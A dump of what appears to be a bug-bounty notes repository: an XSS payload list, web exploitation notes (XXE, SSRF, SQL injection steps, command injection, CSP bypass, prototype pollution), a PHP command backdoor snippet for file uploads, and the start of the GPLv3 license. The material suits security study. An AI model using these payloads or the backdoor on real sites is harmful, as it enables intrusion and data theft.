*/alert()/* 18 | javascript://-->"/*/a 19 | javascript://"/*// 20 | javascript://-->*/alert()/* 21 | javascript://'//" -->*/alert()/* 22 | javascript://*/alert()/* 24 | -->"/*/alert()/* 25 | /*/alert()/* 26 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 27 | “ onclick=alert(1)// */ alert(1)// 28 | '">>">
*/alert()/* 26 | ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-->">'> 27 | “ onclick=alert(1)// */ alert(1)// 28 | '">>">
*/alert()/* 45 | <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--> 46 | '%22()%26%25<> 47 | ' onmouseover=alert(9205) bad=' 48 | "> 49 | "onresize=prompt(1)> 50 | 53 | '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Eshadowlabs(0x000045)%3C/script%3E 54 | < 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | -------------------------------------------------------------------------------- /Notes/Exploitation Phase 2.md: -------------------------------------------------------------------------------- 1 | # Exploitation Phase [Part-2] 2 | ## 1.Exploiting CMS 3 | - A content management system (CMS) is a software application that can be used to manage the creation and modification of digital content 4 | 5 | ### 1.1 Wordpress 6 | - There are in fact hundreds of exploits and misconfigurations impacting WordPress and its associated plugins. One common tool to scan for these vulnerabilities is wpscan: 7 | - https://github.com/wpscanteam/wpscan 8 | - TIP: Always make sure to check “/wp-content/uploads/” . 9 | 10 | ### 1.2 Joomla 11 | - If you want to scan for vulnerabilities the most popular tool is Joomscan: 12 | - https://github.com/rezasp/joomscan 13 | ```bash 14 | perl joomscan.pl -u 15 | ``` 16 | 17 | ### 1.3 Drupal 18 | - If you find a Drupal site you want to use droopescan to scan it 19 | - https://github.com/droope/droopescan 20 | ```bash 21 | python3 droopescan scan Drupal -u -t 32 22 | ``` 23 | 24 | ### 1.4 Adobe AEM 25 | - If you want to scan an application for vulnerabilities use 26 | the tool aemhacker: 27 | - https://github.com/0ang3el/aem-hacker 28 | ```bash 29 | python aem_hacker.py -u --host 30 | ``` 31 | - Note that in order to test for the SSRF vulnerabilities you need to have a public IP that the target server can connect back to. 32 | 33 | - If you come across a CMS you haven't seen before the first step is to go to xploit db and see if it has any known CVEs: 34 | - https://www.exploit-db.com/ 35 | 36 | 37 | 38 | ## 2. Eploitation OWASP 39 | - The only tool you need is Burp Suite: 40 | - https://portswigger.net/burp 41 | 42 | ### 2.1 XML External Entity (XXE) 43 | - XML External Entity (XXE) is a vulnerability that can appear when an application parses XML 44 | - you can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable? Note that in order to read the data the entity must be returned in the response. 45 | - Exploitation: 46 | - Capture the POST request in Burp. Whenever you see XML you should test for XXE : 47 | - To test for XXE simply put in your malicious external entity and replace each node value with it as shown below: 48 |  49 | - If the server doesn’t block external entities the response will be reflected. 50 |  51 | 52 | ### 2.2 Cross Site Scripting (XSS) 53 | - This vulnerability can be used to execute malicious JavaScript in a user’s web browser. This could then be used to steal users JWT tokens, CSRF tokens, and cookies. 54 | - There are three types of XSS reflected, stored, and DOM based. 55 | 1. Reflected XSS: Suppose you have an application which produces an error message when you type in the wrong user name and password. The error message could look something like this: 56 | “The email or password you entered is not valid. Please try again.” 57 | - You then notice that there is a GET parameter in the URL which has this same message: 58 | “example.com/login.php?error=The+email+or+password+you+entered+is+not valid.+Please+try+again.” 59 | - If the application doesn’t protect against XSS we could insert malicious JavaScript code into the user browser. 60 | 2. Stored XSS: 61 |  62 | - Suppose you have an application that allows you to create an account. The application also has a page which lists out all the members of the site. You could assume that the username you create is being stored in the backend database otherwise how would the application be able to retrieve this information. If youwere to put a malicious JavaScript payload as your username it would then be stored in the back-end database. If the application isn’t blocking XSS attacks whenever someone visits the members list page your username would be retrieved from the back-end database and your XSS payload would trigger. 63 | 64 | 3. DOM XSS: 65 | - Document Object Model (DOM) based XSS occurs when an application takes user supplied input passes it to a JavaScript function and that function uses the input to modify the DOM environment. 66 | -  67 | 68 | 69 | ### XSS Sources [Updated] 70 | - A list of javascript sources can be found in the list below: 71 | - document.URL 72 | - document.documentURI 73 | - document.baseURI 74 | - location 75 | - location.href 76 | - location.search 77 | - location.hash 78 | - Location.pathname 79 | - Document.cookie 80 | ### Polygot [Updated] 81 | - Just pasting the payload ``` ' “”``` and looking for an alert box won't always work. You might have to break out of a set of quotes so your payload would look like ``` ‘ “alert(0)’ ``` or you have to break out of a div tag so your payload may look like ``` “ >” ``` 82 | - Maybe the vulnerability is in an image src attribute so your payload looks like ``` “javascript:alert(0)” ``` or maybe it's a DOM based vulnerability so your payload would just be ``` “alert(0)” ```. 83 | ``` javascript 84 | jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e 85 | ``` 86 | - The example shown above is a famous XSS polyglot by “0xsobky” and it can be used to trigger your xss payload on a multitude of scenarios. 87 | #### Beyond Alertbox [Updated] 88 | - Prompting a Alert box sounds cool, but doesn't shows the full impace of XSS Vulnerability. A lot can be done like: 89 | - Cookie Stealer: Javascript can be used to retrieve a users cookies as shown below: 90 | - Document.cookie 91 | - Redirection: By modifying the ``` “document.location” ``` we can force the browser to navigate to an attackers webpage as shown below : 92 | - Document.location = ” http://attacker-domain.com ” 93 | - Example 94 | ```javascript 95 | 96 | ``` 97 | 98 | 99 | ### 2.3 SSRF 100 | - Server-Side Request Forgery (SSRF) occurs when an attacker forces an application to make HTTP requests on their behalf. 101 | - This can be used to read data from internal applications. Most people leverage this vulnerability to post or read data from sensitive endpoints such as AWS and Gcloud metadata service, FTP service, LDAP service, and local files. 102 | - How to Find? 103 | - search for requests that have a URL as a parameter value 104 | - If the response is reflected back to the attacker you could have a possible SSRF vulnerability. 105 | - then change the URL to google.com and if I see a response then you can assume the endpoint is vulnerable. 106 |  107 | 108 | - The stock API value is changed to admin's dirctory on Local IP. The request will be performed by the target application thus it will perform a request against itself. This endpoint has an admin application hosted on the local host, normally this would be impossible to access from the internet but because of SSRF we can. 109 | 110 | ### 2.4 Cross Site Request Forgery (CSRF) 111 | - CSRF is an attack performed on an applications user that causes their browser to send requests on behalf of the attacker. 112 | - This can be used to change a user’s password and email, like a page or video, send money to an attacker, and anything else you can do via a POST request. 113 | 114 |  115 | - Impact: Suppose an application allows users to change their email by submitting a form. If the application fails to protect against CSRF attacks attackers could force users to change their email to an attacker controlled email. After that the attacker could perform a password reset to change the users password and take over their account. 116 | 117 | 118 | ### 2.5 SQL Injection 119 | - This vulnerability can be exploited to dump the contents of an applications database. 120 | - A nice cheat sheet can be found on payloadallthethings: 121 | - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection 122 | 123 |  124 | - If you ever see that error you know there is SQL injection 125 | 126 |  127 | - Basically, you ask the database “do you have 1 column?”, the server will then respond and says yes. You then ask “do you have 2 columns?” and the server responds again with yes. Then you ask “do you have 3 columns?” and the database errors out. So, you know the database table only contains 2 columns. 128 | --> ‘ order by -- 129 | 130 | - After getting to know about number of columns we need to figure out which columns are used to display text on the application. 131 | - We need to know this so we know which column to use when extracting data. 132 | --> select NULL,NULL— 133 | - To do this we can replace each selected column with a string and see if it appears on the page. 134 | --> ' union select NULL,'VULNERABLE'-- 135 | - The first thing we need to retrieve are the table names in the current database. 136 | - We can list every table in the database. 137 | --> ' union select NULL, table_name from database_name.tables— 138 | - The next step is to determine this tables column names. 139 | --> ' union select NULL, column_name from information_schema.columns where table_name = 'Table_Name' — 140 | - The final step is to exfiltrate the data. To return the password and username in the same column we can use the “concat()” function. 141 | --> ' union select NULL, concat(Column_Name,':',Column Name 2>) from Table_Name -- 142 | - However, in the real world if you find a vulnerable endpoint it’s probably best to use a tool like SQLmap as its easier and faster. 143 | - https://github.com/sqlmapproject/sqlmap 144 | ### Error-Based SQLi [Updated] 145 | - With union based sql injection the output is displayed by the application. Error based sql injection is a little different as the output is displayed in an error message. This is useful when there is no output except a sql error. 146 | - If the MySql service version is 5.1 or later we can use the “ extractvalue() ” function to exfiltrate data from the database. 147 | - The ExtractValue() function generates a SQL error when it is unable to parse the XML data passed to it. Remember with error based sql injection we must extract our data via sql error messages. 148 | - 149 | 150 | ### 2.6 Command Injection 151 | 152 | - Attackers can leverage this vulnerable to gain remote code execution (RCE) on their target. 153 | - Depending on the operating system you can use several techniques to execute additional commands thus allowing an attacker to gain RCE. 154 | 155 |  156 |  157 | 158 | - Commnad Injection Example: 159 | 160 |  161 | 162 | - Command Injection - Request & Response 163 | 164 |  165 | 166 | - As you can see, on injecting the “echo hi” command and I received a response. This is a very strong indicator that the application is vulnerable to command injection. However, the vast majority of these bug are blind and you won’t see any output making it harder to detect. 167 | 168 | ### 2.7 Cross Site Web Socket Hijacking (CSWSH) 169 | - Web sockets set up a full duplex communication channel allows use to both read and post data. This vulnerability can be used to perform XSS, SQL injection, RCE, and anything else. 170 | 171 | - WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection. 172 | 173 | - WebSocket is a computer communications protocol, providing full-duplex communication channels over a single TCP connection. Full duplex means we can both read and write to the connection. 174 | 175 |  176 | 177 | - similar to CSRF because we utilize the targets cookies to make requests 178 | - The major difference is instead of sending a POST request we initiate a web socket connection. After the WebSocket connection is established we can do whatever we want. 179 | - How to Check ? 180 | - The first thing you want to do is examine the traffic in burp. Most people only know how to use burp to test HTTP traffic but it can also handle web socket traffic as shown below: 181 |  182 | - We can use the following website to test for the vulnerability: 183 | - http://websocket.org/echo.html 184 | 185 | - I have personally used this vulnerability to exploit quite a few applications. One of the instances allowed me to completely take over users machines as the web socket connection was being used to send shell commands to a remote server. This allowed me to gain remote code execution (RCE). 186 | 187 | ### 2.8 File Upload [Updated] 188 | - As you are aware, web applications sometimes let users upload file files to their site. This can be in the form of a profile picture, pdf upload functionality, or whatever. 189 | - If done improperly attackers can upload malicious files potentially gaining remote code execution(RCE). If there is an upload feature you should be testing for this vulnerability. 190 | - One of the first things I do when testing file upload functionalities is to upload a simple cmd backdoor. 191 | - An Example of PHP Backdoor: 192 | ``` php 193 | "; $cmd = ($_REQUEST['cmd']); 194 | system($cmd); echo ""; die; }?> 195 | ``` 196 | - Content Type Bypass: 197 | - Content type validation is when the server validates the content of the file by checking the MIME type of the file, which can be found in the http request. 198 | -  199 | 200 | - As we can see the above image clearly states the file has a Content-Type of “application/x-php”. 201 | 202 | - If the server trusts the content-type in the HTTP request an attacker could change this value to “image/jpeg” which would pass the validation. 203 | - File Name Bypass 204 | 205 | - Sometimes the server will check the file name to see if it is blacklisted or white listed. 206 | - The issue with black listing is that if you forget even 1 extension attackers can bypass the validation. To implement this check most developers will use a regex to check the file extension. 207 | 208 | ### 2.9 Directory Traversal [Updated] 209 | - It is a vulnerability that occurs when developers improperly use user supplied input to fetch files from the operating system. 210 | - As you may know the “../” characters will traverse back one directory so if this string is used to retrieve files you can retrieve sensitive files by traversing up or down the file structure. 211 | - How to Detect ? 212 | 213 | - If you see an application utilizing user supplied input to fetch files you should immediately test to see if its vulnerable to directory traversal. This can be fairly easy to spot as shown below: 214 | - https://example.com/?page=index.html 215 | - As you can see there is a GET parameter called page which is used to load the contents of “index.html”. If improperly implemented attackers leverage the “../” technique to load any file they want. 216 |  217 | 218 | ### 2.10 Open Redirect [Updated] 219 | - Open redirection vulnerabilities arise when an application 220 | incorporates user-controllable data into the target of a redirection in an unsafe way [According to Google] 221 | - our goal is to make the application redirect to our site. 222 | - You'll have to test the Redirection in Old Fashion: 223 |  224 | - To do this I try to get the site to redirect to Google, if it does then the application is vulnerable. 225 | 226 | ### 2.11 Insecure Direct Object Reference (IDOR) [Updated] 227 | - A vulnerability that occurs when a user is able to view unauthorized data. The issue here is that the developer failed to implement proper access controls when calling resources so users can access other users data. 228 | - easy to find and can have a high impact depending on the context 229 | - spot this vulnerability by looking for a request which contains your user id, username, email, or some other id tied to your user 230 |  231 | - As you can see above there are two requests. One will set a users email and the other will get a users email. The backend application uses the “userId” value supplied by the user when performing these actions without any other verification. So as an attacker we could easily modify and retrieve any user's email on the application. 232 | - 233 | -------------------------------------------------------------------------------- /Notes/Misc.md: -------------------------------------------------------------------------------- 1 | # Miscellaneous 2 | ## 1. On Site Request Forgery (OSRF) 3 | - Similar to cross site request forgery(CSRF) with OSRF an attacker can force a users web browser to make requests on the attackers behalf. 4 | - The only difference is that the request is initiated from the target application whereas CSRF is initiated from an attacker controlled site. 5 | 6 |  7 | 8 | - The whole goal of this vulnerable application is to force the user to send a request to the “/admin/add” endpoint. Doing so will cause the application to add an admin user which the attacker could use to login to the victims application. 9 | - Remember the goal is to make the user browser send a request to “127.0.0.1/admin/add?username=ghost&password=lulz”. This would create a new admin user called “ghost” with the password of “lulz”. 10 | - Take a closer look at the “/” endpoint and how the “vuln_param” is used to create the src attribute of the image tag. What if an attacker were to input “../../”? 11 |  12 | - As you can see above it caused the application to send a GET request to the path“/” instead of “/images”. 13 | 14 | - The above request is a little better, if you look at the bottom right of the image you can see the browser make a request to “/admin/add.jpg”. If we add the username and password parameters we should be able to add an admin account as shown below: 15 |  16 | - Note when sending multiple parameters we must URL encode the “&” character otherwise the browser will think it belongs to the first request not the second. Also notice how the password is “lulz.jpg” and not “lulz”. This is because “.jpg” is appended to the string at the end to get rid of these characters in our password we can just add a dummy parameter as shown below: 17 | - http://127.0.0.1:5000/?vuln_param=../../admin/add?username=ghost%26password=lulz%26dummy_param= 18 | 19 |  20 | 21 | - Finally we are able to make a request to the “/admin/add” endpoint causing the application to add a new user called “ghost” with the password of “lulz”. 22 | 23 | 24 | 25 | ## 2. Prototype Pollution 26 | ### 2.1 What is Prototype ? 27 | - Javascript is a prototype based language. Prototypes are the mechanism by which JavaScript objects inherit features from one another. This means that if the prototype object is modified in one object it will apply to every other object as shown in the below example: 28 | 29 |  30 | - As you can see above we have two variables called “a” and “b”. We modify the prototype object in variable “a” by adding a variable called “foo” and giving it the value of “bar”. 31 | - You might think that this would have no effect on variable “b” but it does. The modified prototype object is inherited by variable “b”, so when we call the “foo” variable on “b” it prints “bar”. 32 | 33 | 34 | ### 2.2 Prototype Pollution? 35 | - As stated earlier javascript is a prototype based language, this means that if we modify the prototype object it will persist to all other objects. Take a look at the following code, the goal here is to set the “admin” variable to true: 36 |  37 | - Here, we are merging user supplied data with the user object. 38 | - Next it will create a variable called admin and it will check if “admin.admin” is set to true. If it is, we win. 39 | - Under normal circumstances this would be impossible as we never get the change to modify this variable but with prototype pollution we can. 40 | - During the merge process if it comes across a prototype object it will add that to the user object. Since the prototype object is inherited by all other objects we can potentially modify other variables as shown in the below curl request. 41 |  42 | - In the above image we are sending a prototype object with a variable called “admin” which is set to “true”. When the line checks to see if admin.admin is set to true it will pass because the admin object inherited the admin variable from the prototype object which we modified. 43 | 44 | Although this is a lesser known vulnerability it is just as deadly as anything else. In the past this has led to XSS, DOS attacks, and RCE so there is no limit to what you can potentially do with this. 45 | 46 | 47 | 48 | ## 3. Client Side Template Injection 49 | ### 3.1 Angular Basics 50 | - Few Things one should understand when dealing with Angular Applications, such as Templates, Expressions, and Scopes - for Client Side Template Injection 51 | - A template is an HTML snippet that tells Angular how to render the component in Angular application. 52 | - The main advantage of templates is that you can pass in data allowing you to dynamically generate HTML code based on the arguments passed to it. An example template can be found below: 53 | - ``` Welcome {{Username}}!``` 54 | - The “{{Username}}” is an expression and changes based on your username. 55 | - Expressions are Javascript like code snippets . Like Javascript expressions Angular expressions can contain literals, operators, and variables as shown below: 56 | - 1+1 57 | - A+b 58 | - User.name 59 | - Items[index] 60 | - Angular expressions are evaluated against the Scope object. Basically what this means is if you try to evaluate “alert(1)” it will fail because the scope does not have an “alert” function (unless you define one). 61 | 62 | ### 3.2 Client Side Template Injection (XSS) 63 | - Client-side template injection vulnerabilities arise when applications using a client-side template framework dynamically embed user input in web pages 64 | - As you know Angular is a client side template framework and you can embed user input into these templates. This makes Angular the perfect target for this type of vulnerability. 65 |  66 | - As you can see we didn’t get an alert box and that's because the server is encoding our input before passing it to the template as shown below. 67 | 68 |  69 | 70 | - In Angular we can use expressions which does not have to use special characters which get encoded by the “htmlspecialchars” PHP function as shown below: 71 |  72 | 73 | - As you can see above I am using the expression “{{1+1}}” which gets evaluated to “2”. This is a very strong indicator that the application is vulnerable to client side template injection. 74 | - Forcing an application to add two numbers together isn’t all that exciting, but what if we could inject javascript code. We know we can't simply insert an “alert(1)” function because that function is not defined in the scope object. 75 | - Behind the scenes “alert(1)” turns into “$scope.alert(1)”. By default the scope object contains another object called “constructor” which contains a function also called “constructor“. This function can be used to dynamically generate and execute code. This is exactly what we need to execute our XSS payload as shown below: 76 |  77 | - As you can see above our malicious Angular expression was injected into the page causing the application to dynamically generate and execute our payload. 78 |  79 | 80 | 81 | 82 | ## 4. XML External Entity (XXE) 83 | 84 | ### 4.1 XML Basics 85 | - Extensible Markup Language(XML) is a language designed to store and transport data similar to JSON. 86 | - Example: 87 | ```xml 88 | 89 | 90 | 91 | Everyday Italian 92 | Giada De Laurentiis 93 | 2005 94 | 30.00 95 | 96 | 97 | Harry Potter 98 | J K. Rowling 99 | 2005 100 | 29.99 101 | 102 | 103 | ``` 104 | 105 | - Pro tip if you ever see this in burp you should immediately test for XXE: 106 | ```xml 107 | 108 | ``` 109 | - There is an Entity, which act as varibale. 110 | 111 | ### 4.2 XML External Entity Attack 112 | - You can use external entities to grab data from a file on disk and store it in a variable. What if we tried to read data from the “/etc/passwd” file and store it in a variable ? 113 | - Note that in order to read the data the entity must be returned in the response. 114 |  115 | - To test for XXE simply put in your malicious external entity and replace each node value with it as shown below: 116 |  117 | - As You can see, an external entitiy is created to grab the data in the /etc/passed file and stored in the entity xxe. If theserver does not block external entities the response will be reflected to you. 118 |  119 | ## 5. Content Security Policy Bypass 120 | The CSP is a special HTTP header used to mitigate certain types of attacks such as cross site scripting (XSS). 121 | ### 5.1 Basics 122 | - The CSP header is fairly straightforward and there are only a few things you need to understand. First, the CSP header value is made up of directives separated with a semicolon “;” . 123 | - A list of these directives can be found below: 124 | - Default-src: This acts as a catchall for everything else. 125 | - Script-src: Describes where we can load javascript files from 126 | - Style-src: Describes where we can load stylesheets from 127 | - Font-src: Describes where we can load fonts from 128 | - These directives are set to specific values which defines which resources can be loaded and from where 129 | - * : Load resources from anywhere 130 | - ‘none’: Block everything 131 | - ‘Self’: Can only load resources from same origin 132 | - Data: Can only load resources from data schema (Base64) 133 | - Something.example.com: Can only load resources from specified domain 134 | - Https: Can only load resources over HTTPS 135 | - ‘Unsafe-inline’: Allows inline elements (onclick,`````` tags, javascript:,) 136 | - ‘Unsafe-eval’:Allows dynamic code evaluation (eval() function) 137 | - ‘Sha256-‘: Can only load resources if it matches the hash 138 | - ‘Nonce-‘: Allows an inline script or CSS to execute if the script tag contains a nonce attribute matching the nonce specified in the CSP header. 139 | ### 5.2 Basic CSP Bypass 140 | - One of the easiest ways to misconfigure the CSP is to use dangerous values when setting policies. For example suppose you have the following CSP header: 141 | - default-src 'self' * : the default-src policy acts as a catch all policy, (* acts as a Wild Card). So this policy is basically saying allow any resources to be loaded. It's the same thing as not having a CSP header! You should always look out for wildcard permissions. 142 | - script-src 'unsafe-inline' 'unsafe-eval' 'self' data :https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/https://accounts.google.com : Here we have the policy script-src which we know is used to define where we can load javascript files from. Normally things like ``` ``` would be blocked but due to the value ‘unsafe-inline’ this will execute. 143 | 144 | There are few other techniques which can be used to bypass the CSP 145 | 146 | ### 5.3 JSONP CSP Bypass 147 | - JSONP is a way to bypass the same object policy 148 | (SOP). 149 | - A JSONP endpoint lets you insert a javascript payload , normally in a GET parameter called “callback” and the endpoint will then return your payload back to you with the content type of JSON allowing it to bypass the SOP. 150 | - Basically we can use the JSONP endpoint to serve up our javascript payload. 151 | - You can find an example below 152 | - https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) 153 |  154 | - The danger comes in when a CSP header has one of these endpoints whitelisted in the script-src policy. This would mean we could load our malicious javascript via the JSONP endpoint bypassing the CSP policy. Look at the following CSP header: 155 | - script-src https://www.google.com http://www.google-analytics.com/gtm/js https://*.gstatic.com/feedback/ https://accounts.google.com ; 156 | - The following would get blocked by the CSP: 157 | - http://something.example.com/?vuln_param=javascript:alert(1) ; 158 | - What if we tried the following: 159 | - http://something.example.com/?vuln_param=https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) 160 | - This would pass because accounts.google.com is allowed to load javascript files ccording to the CSP header. We then abuse the JSONP feature to load our malicious javascript. 161 | 162 | ### 5.4 CSP Injection Bypass 163 | - The third type of CSP bypass is called CSP injection. This occurs when user supplied input is reflected in the CSP header. 164 | - Suppose you have the following url: 165 | - http://example.com/?vuln=something_vuln_csp 166 | - If your input is reflected in the CSP header you should have something like this: 167 | ``` 168 | script-src something_vuln_csp; 169 | object-src 'none'; 170 | base-uri 'none'; 171 | require-trusted-types-for 'script'; 172 | report-uri https://csp.example.com ; 173 | ``` 174 | - This means we can control what value the script-src value is set to. We can easily bypass the CSP by setting this value to a domain we control. 175 | 176 | 177 | 178 | ## 6. Relative Path Overwrite (RPO) 179 | It is an older lesser known vulnerability, which can be used for XSS or extracting sensitive data but the vast majority of the cases can only be exploited for web 180 | defacement. 181 | - It is an interesting Vulnerability bcoz, only few people know how to exploit this bug. 182 | 183 | ### 6.1 RPO 184 | - First you need to find a page that reflects the current url, path, or referrer header in the response. 185 | - Secondly you need the page to be missing the “DOCTYPE” tag to enable quirks mode. 186 | - Third, you need the endpoint to have a wild card path so “example.com/vuln.php” is the same as “example.com/vuln.php/somthing/”. 187 | - Finally you need to find if there are any style sheets being imported using a relative path. 188 | - If all these requirements are met you can probably exploit the RPO vulnerability. 189 |  190 | 191 | To understand RPO you first thing you need to learn about is how browsers use pathrelative links to load content. 192 | ``` 193 | 194 | ``` 195 | ``` 196 | 197 | ``` 198 | ``` 199 | 200 | ``` 201 | 202 | - As you can see above there are a few ways an application can load the CSS file “style.css”. 203 | - The first example uses an absolute link which is the full path to the CSS file. 204 | - The second example starts at the root of the web directory and looks for the “style.css” file there. 205 | - Finally the last example uses a relative path so it will look at the current directory for the “style.css” file, if the url is “example.com/test/” it will look for the CSS file at “/test/style.css”. 206 | 207 | Quirks Mode : Quirks mode was designed to 208 | gracefully handle the poorly coded websites which was fairly common back in the day. If quirks mode is enabled the browser will ignore the “content-type” of a file when processing it. So if we pass an HTML file to a link tag it will still parse the HTML file as if it's a CSS file. If Quirks mode is disabled the browser would block this action. 209 | 210 | - Examine the Vulnerable Code: 211 | 212 |  213 | 214 | - Look at the above image we can clearly see the “path” variable is concatenated with the output but normally you don't have access to the source so you will need to manually verify this as shown below. 215 |  216 | - Above you can clearly see the “okay/” path displayed on the page. We can also see the “document type” tag is missing from the HTML source so we know the page is running in quirks mode. Next we need to figure out if “/home/okay/” resolves to the same page as “/home” which it does. 217 |  218 | - As shown above when we change the URL to “/home/okay/” the “Link” tag tries to import its stylesheet from “/home/okay.style.css” this is because the Link tag is using a relative path. Also notice how the style sheet resolves to the same HTML source as “/home”. This is because there is a wild card path after “/home” which causes any path after “/home” to resolve to “/home”. 219 | - The last step is to actually launch the exploit to see if it works. Since the Link tag is accepting the HTML output as CSS and user controlled input is reflected in that output an attacker could inject CSS commands causing the page to execute them. 220 | - %0A{}*{color:red;}/// 221 |  222 | - As you can see above we injected CSS code to turn the font red so we now know the target is vulnerable. 223 | 224 | 225 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly 